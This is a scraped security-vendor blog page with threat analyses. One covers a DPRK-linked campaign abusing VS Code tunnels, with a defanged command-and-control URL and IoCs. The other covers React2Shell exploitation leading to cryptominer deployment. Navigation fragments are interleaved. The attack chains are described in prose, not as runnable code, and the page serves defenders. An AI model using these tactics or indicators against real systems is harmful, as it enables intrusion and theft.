VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1] https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

About the author

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Cloud

January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.‍

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction. No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

About the author

Nathaniel Jones

VP, Security & AI Strategy, Field CISO

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Qubitstrike: An Emerging Malware Campaign Targeting Jupyter Notebooks

Introduction: Qubitstrike

Initial access

mi.sh

System preparation

Retrieving XMRig

Registering persistence

Credential exfiltration

SSH propagation

Diamorphine rootkit

Credential access

Discord C2

Conclusion

References

YARA rule

Indicators of compromise

Filename SHA256

Paths

SSH keys

URLs

Cryptocurrency wallet ID

Cryptocurrency mining pool

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

Runtime Is Where Cloud Security Really Counts: The Importance of Detection, Forensics and Real-Time Architecture Awareness

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React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

Runtime Is Where Cloud Security Really Counts: The Importance of Detection, Forensics and Real-Time Architecture Awareness

Securing Generative AI: Managing Risk in Amazon Bedrock with Darktrace / CLOUD

Blog

Network

January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

Introduction

Technical analysis

Conclusion

Appendix

Indicators of Compromise (IoCs)

MITRE ATTACK

References

Blog

Cloud

January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

Introduction

Cloud insights

Cloud Case Study

Initial Access

Payload execution

Command-and-Control (C2)

Cryptominers deployment and re-exploitation

Financial sector spotlight

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Appendices